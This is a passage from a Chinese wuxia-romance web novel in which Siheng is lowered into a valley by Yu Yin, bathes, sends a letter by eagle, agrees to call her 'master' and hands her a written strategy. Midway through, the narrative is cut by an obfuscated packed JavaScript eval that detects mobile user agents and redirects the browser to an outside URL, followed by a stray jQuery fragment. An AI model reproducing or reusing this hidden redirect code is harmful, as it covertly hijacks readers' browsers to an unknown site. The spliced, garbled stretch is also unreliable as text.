辰时方至,思鸿悠悠醒转,却见虞音不知什么时候已立于坟前,一声不出的怔怔看着墓碑出神。
这荒山野岭,孤峰险崖的,虽已天明,倒也挺令人害怕。
思鸿从地上爬起身来,小心翼翼的近前。
虞音转身走向竹篮,“过来。”
思鸿小跑着跟了上去,见她已站在那个大竹篮当中看着自己,当即停步在外面,手上比划着指指自己鼻子,那意思是说,“我也能上去?”
虞音向左边让出个位置,示意他上来,思鸿大是意外。
甫一入内,只觉这篮子奇稳无比,全无下坠晃动之感。虞音剑鞘击向右侧狮面圆盘,藤蔓簌簌之声大作,二人缓缓向下而去。
“妙极!妙极!这机阔不知是姑娘所设,还是另有高人布置?若听风崖那一侧也设同样竹篮,岂不方便?”思鸿嘴上赞叹,并察言观色。
本是想借机奉承两句,心里想着,“这竹篮若不是她所设,也必定是虞前辈所为,我这么夸赞一番,她总不会不高兴吧?”
还真看不出她哪里高兴或不高兴,见没说到她心里,便忙住了口。
他跑去篮边向谷中望去,没想到会以这种方式到这谷中,仙境般的景致渐次清晰,即将便要身入其中。
及至谷底,他喜悦难以自持,“哈哈哈!虞姑娘,这里好美,你是要放了我吗?”
见虞音向那条清溪走去,他忙举步相随。
二人到得溪边,虞音俯身拾起一叠衣物,又丢到他腿边,“把自己洗干净,换上。”
她又拿出一个梳妆盒与一柄短刀,齐齐丢入他怀中。
思鸿捧起衣物,只觉衣料触手柔软温和,想必是花了心思精心挑选的。
转念想到这荒山野岭间并无成衣铺子,她一个女子更不会有合他身量的男装。心中蓦地一暖,被这突如其来的关心所感,只觉这些时日所受的种种,都尽值得了,
“你昨夜…莫非…?”
“快去,别婆婆妈妈的。”
“嗯。”思鸿应了一声,便去溪边先清洗头发。他不似寻常男子留长发,额前的墨发长及眼睫,脑后的长度则是刚及颈中,是以头发很好打理。
他洗净后随意甩了甩头,便取出短刀对镜修面,水珠沿发梢滑落。
虞音见他鬓间的发丝灵动如飞白,几缕稍长的青丝半掩耳廓,勾勒出清俊的侧影。
整理停当,思鸿捧着那叠新衣,四下里看了看,一时不知如何是好,“虞姑娘,这…”
“把身子洗净再换。”虞音瞧着他说道。
他本是想问要去哪里更衣,没想到还要在这里,光天化日之下,清洗身子…
见虞音抱着双臂,丝毫没有要离开之意,他不知想到了什么,面上一红,“在这里洗...岂不是…岂不是…都…都…看见了…”他声如蚊蚋,一字一字的小声说着,耳根已染上薄红。
虞音蹙眉,面现不耐之色,转身走去丈余之外,背对于他。
他飞快褪去身上衣衫,跃进清溪中。那溪水虽不太深,但若是躺卧在水中,也可没过身体。
匆匆冲洗后,他回到岸上擦干身子,刚套上里裤,便听虞音扬声道,“还没好么?”
她说话间便转过身来,思鸿慌忙扯过里衣遮掩。待手忙脚乱的系好衣带,虞音已在身旁。
“你羞什么羞!这里又没有别人!”虞音斥道。
说着便又随手掀起他衣服,仔细打量着,“我是想看看你伤好些没有!你想什么呢?”
见思鸿皮相白皙,却横七竖八的挂着十几道鞭痕,心下不免有些暴遣天物之感。这些时日思鸿又以果子为食,饿的有些精瘦,几条肋骨清晰可见。
“那药当真能去除疤痕?”虞音放下他衣服,看着他眼睛问道。
思鸿被她打量的面颊绯红,“当…当真,坚持涂抹便会消除。”
“那以后倒可放心打了。”
思鸿知她在戏言,便嘿嘿笑了起来。
他听闵云舒说虞音把左臂伤口弄的更为严重,本想问问情况,但想起初次见面时,他每每问到这个事,虞音都不耐烦。相反她看到自己身上鞭伤,却反倒有了兴致,便不敢开口问她臂上伤势如何。
“把外衣穿好,随我来。”虞音从他身边而过,又向那竹篮走去。
思鸿穿好外衣,是件黑色外衫,与那日二人初次相会之时所穿相仿。他平日素爱单色衣衫,大小又极适宜,穿在身上只觉周身舒泰,说不出的受用,当下赶上前去连声道谢,
“虞姑娘,你眼光真好,以后我都不自己选衣服了。”
“事情想的怎么样?”虞音冷然的问道。
见他不出声,虞音驻足转身,“天黑前是最后期限。”
思鸿支支吾吾的说不清楚,虞音一把攥住他衣领,直把他拽到那个大竹篮中,看也不看的反手用剑鞘击了下山上,那竹篮便缓缓上行。
思鸿偷偷转过去瞧了一眼,那是一个和上面一般大的龙头圆盘,心下这才明白。
待到崖顶,虞音将他推了出去,他踉跄几步险些跌倒,
“虞姑娘,你先别走,我有东西想借来一用。”
“甚么?”
“纸笔。”
虞音看着他不说话,他又解释道,“我出来这么多天,怕云舒他们担心我安危,我想写封信给他。”
“你是想找闵云舒求救么?”
“不不不,我追随虞姑娘,又岂会想着逃走?更何况虞姑娘待我这么…好…”他说到好字的时候,无意间停顿了一下。
“他便来了又能如何!”虞音话未说完,已向那狮面圆盘戳了一下。
虞音回到北面屋子中,把文房四宝都带了回来。思鸿走去那块青石旁,铺平白纸,“舒儿,一别十日,我已和你虞姐姐相会…”
只听虞音在崖中心喊着,“写过的字,等下拿给我看。”她嘴上说不怕闵云舒,心里实则有些顾忌。
思鸿写好后,将信拿给她看,她见信上只寥寥数语,皆道近况无恙,这才放心,“要我去送给闵云舒?”
思鸿笑了笑,从旧衣物中摸了摸,取出半截笔似的物事,和那个白身红盖药瓶,还有虞音的三支袖箭,最后抖了抖又掉出些许碎银子。
他将那半截笔大小的物事从中折断,放在青石上,断口处喷冒星火,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499527|185990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
飞到空中炸开。
不过半盏茶功夫,一只老鹰自崖南飞来,在二人头顶盘旋。
那老鹰见思鸿在崖顶,盘旋数匝后便落在青石之上。
思鸿将信笺卷紧,继而对折钩在鹰爪上。那老鹰得了信,长啸一声,直飞入云际,不见了踪影。
思鸿对虞音笑道,“嘿嘿,它叫‘骤断’,云舒养的。”
虞音心中啐道,“哼,闵云舒那小混蛋又能养出什么好东西。”
嘴上却道,“只此一封信,这扁毛鸟若是再来,被我见到,可别怪我把它弄死。”她说完拾起地上破损衣物,和三支袖箭,以及碎银子,只给他留下一瓶药,走向崖边竹篮,这便要离去。
思鸿见她要走,问道,“虞姑娘,你拿这些做什么?”
“拿去丢了,还能做什么?免得弄脏这里。”
思鸿又道,“今日天黑之前,自有计策献上。”
这倒大出虞音所料,她本已快跨入竹篮,听见思鸿这么说,便又折返回来,
“当真?”
“我哪敢骗虞姑娘,日落前你来便是。”
“好。”虞音应了一声,随即又问道,“昨日你说轻雪跟随了我,自当由主人赐名。”
“没错,这名字起的极好。”思鸿回道。
“‘主人’是指?”
“它跟了你,你自然是它的主…”思鸿说到一半似是明白了她的意思,脸上登时红了。
见虞音满面期待的看着他,他磨蹭半晌,从嘴里轻声挤出两字,“主人…”
“听不清,叫大声点。”
“主人。”
“嗯。”
虞音此刻方觉,接受思鸿倒也没那么难,听他这么喊自己,心里甚至有些开心,问道,“闵云舒那小鬼也这么喊你?”
“对,他有时候这么叫,有时候又叫我思鸿哥。”思鸿知道她和闵云舒之间有些过节,是以她说闵云舒小混蛋、小鬼,思鸿也不辩解。
“你以后就这么叫我,我很喜欢听。省的你‘虞姑娘虞姑娘’的叫不停,烦都烦死了。”她说完心中暗忖,“倒要看看闵云舒这小混蛋到时候该怎么称呼我。”
她上了竹篮,向崖下而去,思鸿目送她离开,口中连声应和着。
待到日头西沉,虞音前来验收,思鸿递给她三张纸。
虞音见那三张纸上面,以行楷写的满满当当,每张大概千余字。
粗略一观,字迹笔断意连,似断还续。她虽于书法不是很精通,但虞怀素也曾教过她一些。
这三篇字她看的极是受用,她虽然不想用潇洒一词来形容,但仿佛他确实在放肆与端庄之间,做到了收放从容。
一如人在处境艰难之时亦能充满韧劲,她回想起那日救人之时,若逞一时意气,后果便不堪设想,这自是不算收放从容。
她又细观内容,只见上面清清楚楚的把自己如何遭遇刺杀、沧海月明的由来、以及现在的处境,均详细道明。
她竟也未曾想到,原来沧海月明案,与营救那二百名女子之间会有这般关联。看到最后,那纸上之字,更是清晰明了的逐一解决了她提出的那三个条件。